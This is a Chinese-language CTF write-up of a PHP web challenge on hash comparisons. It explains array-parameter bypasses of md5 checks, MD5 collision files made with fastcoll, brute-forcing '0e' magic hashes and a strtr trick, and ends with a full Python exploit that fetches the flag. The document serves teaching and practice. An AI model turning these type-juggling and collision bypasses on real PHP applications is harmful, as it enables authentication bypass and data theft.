2025-10-24-web2_hash_WP

2025-10-24-web2_hash_WP

十月 24, 2025

web2-hash

据说出自 2020年2月安恒月赛

本文参考 Extrader 大佬的博客 https://www.extrader.top/posts/5d485480/

题目是白盒

代码呈上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
 <?php
highlight_file(__FILE__);
error_reporting(0);
$val1 = @$_GET['val1'];
$val2 = @$_GET['val2'];
$val3 = @$_GET['val3'];
$val4 = @$_GET['val4'];
$val5 = (string)@$_POST['val5'];
$val6 = (string)@$_POST['val6'];
$val7 = (string)@$_POST['val7'];
if( $val1 == $val2 ){
die('val1 OR val2 no no no');
}
if( md5($val1) != md5($val2) ){
die('step 1 fail');
}
if( $val3 == $val4 ){
die('val3 OR val4 no no no');
}
if ( md5($val3) !== md5($val4)){
die('step 2 fail');
}
if( $val5 == $val6 || $val5 == $val7 || $val6 == $val7 ){
die('val5 OR val6 OR val7 no no no');
}
if (md5($val5) !== md5($val6) || md5($val6) !== md5($val7) || md5($val5) !== md5($val7)){
die('step 3 fail');
}

if(!($_POST['a']) and !($_POST['b']))
{
echo "come on!";
die();
}
$a = $_POST['a'];
$b = $_POST['b'];
$m = $_GET['m'];
$n = $_GET['n'];

if (!(ctype_alnum($a)) || (strlen($a) > 5) || !(ctype_alnum($b)) || (strlen($b) > 6))
{
echo "a OR b fail!";
die();
}

if ((strlen($m) > 1) || (strlen($n) > 1))
{
echo "m OR n fail";
die();
}

$val8 = md5($a);
$val9 = strtr(md5($b), $m, $n);

echo PHP_EOL;
echo "<p>val8 : $val8</p>";
echo PHP_EOL;
echo "<p>val9 : $val9</p>";
echo PHP_EOL;
if (($val8 == $val9) && !($a === $b) && (strlen($b) === 5))
{
echo "nice,good job,give you flag:";
echo file_get_contents('/var/www/html/flag.php');
}

绕过逻辑

前四个IF

  • 条件 1:if( $val1 == $val2 ) → 触发 die

    • 在 PHP 中,两个不同内容的数组使用 == 比较时结果是 false,即使内容不同。
    • 所以:[1] == [2] → false
  • 条件 2:if( md5($val1) != md5($val2) ) → 要通过必须 md5($val1) == md5($val2)

    • PHP 无法对数组进行 md5() 计算,会发出警告并返回 NULL。
    • 所以:NULL != NULL → false
  • 条件 3:if( $val3 == $val4 )

    • 同 条件 1
  • 条件 4:if ( md5($val3) !== md5($val4))

    • !== 是 强比较(类型 + 值)
    • 因为两个 NULL 类型相同,值也相同,所以 !== 为 false

五六个IF

  • 分别需要传入三个值
1
2
3
$val5 = (string)@$_POST['val5'];
$val6 = (string)@$_POST['val6'];
$val7 = (string)@$_POST['val7'];

传入的内容会被转换为字符串

然后

1
2
3
4
5
6
if( $val5 == $val6 || $val5 == $val7 || $val6 == $val7 ){
die('val5 OR val6 OR val7 no no no');
}
if (md5($val5) !== md5($val6) || md5($val6) !== md5($val7) || md5($val5) !== md5($val7)){
die('step 3 fail');
}

val5 、 val6、val7 三个内容不能相同,但是三个的MD5值必须严格相同(!== ) 内容和类型都一样

所以必须构造三个MD5相同但内容不同的数据

使用两个工具

  • fastcoll
    • FastColl 是一个专门用于生成MD5碰撞的著名工具,由Marc Stevens(埃因霍芬理工大学)开发。它可以快速生成两个具有相同MD5哈希值但内容不同的文件。
  • tail
    • 文件尾部操作工具,拼接文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
E:\Dfile\CTF\Web\MD5>fastcoll_v1.0.0.5.exe -p jlzj1 -o jlzj00 jlzj01
MD5 collision generator v1.5
by Marc Stevens (http://www.win.tue.nl/hashclash/)

Using output filenames: 'jlzj00' and 'jlzj01'
Using prefixfile: 'jlzj1'
Using initial value: f0097a88e3a599391778a4647c20406c

Generating first block: ...
Generating second block: S00...........
Running time: 1.447 s

E:\Dfile\CTF\Web\MD5>tail.exe -c 128 jlzj00 > a

E:\Dfile\CTF\Web\MD5>tail.exe -c 128 jlzj01 > b

E:\Dfile\CTF\Web\MD5>type jlzj0 a > jlzj10

jlzj0



a



E:\Dfile\CTF\Web\MD5>type jlzj0 b > jlzj11

jlzj0



b

这样成功构造了四个文件

检查文件的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
import hashlib

def check_file_differences():
"""详细检查四个文件的差异"""

files = ["jlzj00", "jlzj01", "jlzj10", "jlzj11"]

print("🔍 详细文件检查...")
print("=" * 50)

# 读取所有文件内容
contents = {}
for file in files:
with open(file, "rb") as f:
contents[file] = f.read()

# 检查文件内容是否完全相同
print("文件内容比较:")
identical_pairs = []

for i, file1 in enumerate(files):
for j, file2 in enumerate(files):
if i < j: # 避免重复比较
if contents[file1] == contents[file2]:
print(f"❌ {file1}{file2} 内容完全相同")
identical_pairs.append((file1, file2))
else:
print(f"✅ {file1}{file2} 内容不同")

# 检查文件大小
print(f"\n📊 文件大小:")
for file, content in contents.items():
print(f"{file}: {len(content)} 字节")

# 检查MD5
print(f"\n🔑 MD5值:")
for file, content in contents.items():
md5_val = hashlib.md5(content).hexdigest()
print(f"{file}: {md5_val}")

print("\n" + "=" * 50)

if identical_pairs:
print(f"⚠️ 发现 {len(identical_pairs)} 对相同文件:")
for pair in identical_pairs:
print(f" - {pair[0]}{pair[1]}")
print("\n请选择三个不同的文件!")
else:
print("🎉 所有文件内容都不同!")

return identical_pairs

def find_best_combination():
"""找到三个完全不同的文件组合"""

files = ["jlzj00", "jlzj01", "jlzj10", "jlzj11"]
contents = {}

for file in files:
with open(file, "rb") as f:
contents[file] = f.read()

# 尝试所有可能的组合
combinations = [
["jlzj00", "jlzj01", "jlzj10"],
["jlzj00", "jlzj01", "jlzj11"],
["jlzj00", "jlzj10", "jlzj11"],
["jlzj01", "jlzj10", "jlzj11"]
]

print("\n🔍 寻找最佳文件组合...")
print("=" * 50)

valid_combinations = []

for combo in combinations:
f1, f2, f3 = combo
c1, c2, c3 = contents[f1], contents[f2], contents[f3]

# 检查是否所有文件都不同
if c1 != c2 and c1 != c3 and c2 != c3:
valid_combinations.append(combo)
print(f"✅ 有效组合: {combo}")
else:
print(f"❌ 无效组合: {combo} (有重复文件)")

return valid_combinations

# 运行检查
identical_pairs = check_file_differences()
valid_combos = find_best_combination()

if valid_combos:
print(f"\n🎯 推荐使用组合: {valid_combos[0]}")
else:
print("\n❌ 没有找到三个完全不同的文件组合")


检查结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
└─$ python check5.py
🔍 详细文件检查...
==================================================
文件内容比较:
✅ jlzj00 和 jlzj01 内容不同
✅ jlzj00 和 jlzj10 内容不同
✅ jlzj00 和 jlzj11 内容不同
✅ jlzj01 和 jlzj10 内容不同
✅ jlzj01 和 jlzj11 内容不同
✅ jlzj10 和 jlzj11 内容不同

📊 文件大小:
jlzj00: 256 字节
jlzj01: 256 字节
jlzj10: 256 字节
jlzj11: 256 字节

🔑 MD5值:
jlzj00: 5bd1867197b35c25edd5e04c6de91163
jlzj01: 5bd1867197b35c25edd5e04c6de91163
jlzj10: 5bd1867197b35c25edd5e04c6de91163
jlzj11: 5bd1867197b35c25edd5e04c6de91163

这样就能绕过了

传数据的方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
with open('jlzj00', 'rb') as f:
val5_content = f.read()
with open('jlzj01', 'rb') as f:
val6_content = f.read()
with open('jlzj10', 'rb') as f:
val7_content = f.read()

# POST数据 - 文件内容作为字符串
data = {
'val5': val5_content,
'val6': val6_content,
'val7': val7_content
}

最后的绕过

借助大佬的攻击脚本得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import hashlib

def find_a():
"""寻找满足条件的$a:MD5以'0e'开头,后面全是数字"""
chars = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890"

# 遍历所有5位字母数字组合
for i in chars:
for j in chars:
for m in chars:
for n in chars:
for k in chars:
payload = (i + j + m + n + k)
md5_hash = hashlib.md5(payload.encode()).hexdigest()

# 检查条件:以"0e"开头,后面全是数字
if md5_hash.startswith("0e") and md5_hash[2:].isdigit():
print(f"找到$a: {payload} -> {md5_hash}")
return payload, md5_hash

def find_b():
"""寻找满足条件的$b:MD5第二位是'e',后面全是数字"""
chars = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890"

for i in chars:
for j in chars:
for m in chars:
for n in chars:
for k in chars:
payload = (i + j + m + n + k)
md5_hash = hashlib.md5(payload.encode()).hexdigest()

# 检查条件:第二位是'e',后面全是数字
if md5_hash[1] == 'e' and md5_hash[2:].isdigit():
print(f"找到$b: {payload} -> {md5_hash}")
return payload, md5_hash

if __name__ == "__main__":
a_value, a_md5 = find_a()
b_value, b_md5 = find_b()

1
2
3
└─$ python wdf.py
b'byGcY'->0e591948146966052067035298880982
b'e2P2Z'->3e297891816980937234055076451742

至此,可以构造完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import requests

def exploit_with_post_data():
url = "http://you_ip/"

# GET参数
params = {
'val1[]': '1',
'val2[]': '2',
'val3[]': '3',
'val4[]': '4',
'm': '3',
'n': '0'
}

# 读取文件内容作为字符串发送
with open('jlzj00', 'rb') as f:
val5_content = f.read()
with open('jlzj01', 'rb') as f:
val6_content = f.read()
with open('jlzj10', 'rb') as f:
val7_content = f.read()

# POST数据 - 文件内容作为字符串
data = {
'val5': val5_content,
'val6': val6_content,
'val7': val7_content,
'a': 'byGcY',
'b': 'e2P2Z' #
}

print("🚀 使用POST字符串发送文件内容...")

try:
response = requests.post(url, params=params, data=data)

print("📋 响应状态码:", response.status_code)
print("📋 响应内容:")
print("=" * 50)
print(response.text)
print("=" * 50)
with open("flag.html","w") as f:
f.write(response.text)


except Exception as e:
print(f"❌ 请求失败: {e}")

# 运行攻击
exploit_with_post_data()

得到flag

1
2
3
4
5
6
7
8
&nbsp;you&nbsp;flag:"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: #0000BB">file_get_contents</span><span style="color: #007700">(</span><span style="color: #DD0000">'/var/www/html/flag.php'</span><span style="color: #007700">);<br />}</span>
</span>
</code>
<p>val8 : 0e591948146966052067035298880982</p>
<p>val9 : 0e297891816980907204055076451742</p>
nice,good job,give you flag:<?php
#$flag="flag{0800fc577294c34e0b28ad2839435945}";
?>